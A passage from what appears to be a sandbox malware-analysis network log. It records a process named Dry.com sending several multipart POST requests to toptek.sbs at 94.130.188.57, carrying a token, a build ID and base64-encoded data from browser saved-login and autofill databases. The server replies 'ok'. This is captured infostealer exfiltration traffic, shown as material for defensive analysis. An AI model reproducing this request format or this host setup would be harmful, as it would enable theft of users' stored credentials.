62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:44 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:46 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49770	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:47 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----G47GLNG4OZU3EU3OZC26 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 34 37 47 4c 4e 47 34 4f 5a 55 33 45 55 33 4f 5a 43 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 34 37 47 4c 4e 47 34 4f 5a 55 33 45 55 33 4f 5a 43 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 47 34 37 47 4c 4e 47 34 4f 5a 55 33 45 55 33 4f 5a 43 32 36 0d 0a 43 6f 6e 74 Data Ascii: ------G47GLNG4OZU3EU3OZC26Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------G47GLNG4OZU3EU3OZC26Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------G47GLNG4OZU3EU3OZC26Cont
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:47 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:49 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49771	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:48 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----G47GLNG4OZU3EU3OZC26 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:48 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 34 37 47 4c 4e 47 34 4f 5a 55 33 45 55 33 4f 5a 43 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 34 37 47 4c 4e 47 34 4f 5a 55 33 45 55 33 4f 5a 43 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 47 34 37 47 4c 4e 47 34 4f 5a 55 33 45 55 33 4f 5a 43 32 36 0d 0a 43 6f 6e 74 Data Ascii: ------G47GLNG4OZU3EU3OZC26Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------G47GLNG4OZU3EU3OZC26Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------G47GLNG4OZU3EU3OZC26Cont
2024-12-23 05:21:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:49 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49772	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:52 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2D2VASR9H4E3EUS0HD2V User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 169765 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 44 32 56 41 53 52 39 48 34 45 33 45 55 53 30 48 44 32 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 32 44 32 56 41 53 52 39 48 34 45 33 45 55 53 30 48 44 32 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 32 44 32 56 41 53 52 39 48 34 45 33 45 55 53 30 48 44 32 56 0d 0a 43 6f 6e 74 Data Ascii: ------2D2VASR9H4E3EUS0HD2VContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------2D2VASR9H4E3EUS0HD2VContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------2D2VASR9H4E3EUS0HD2VCont
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
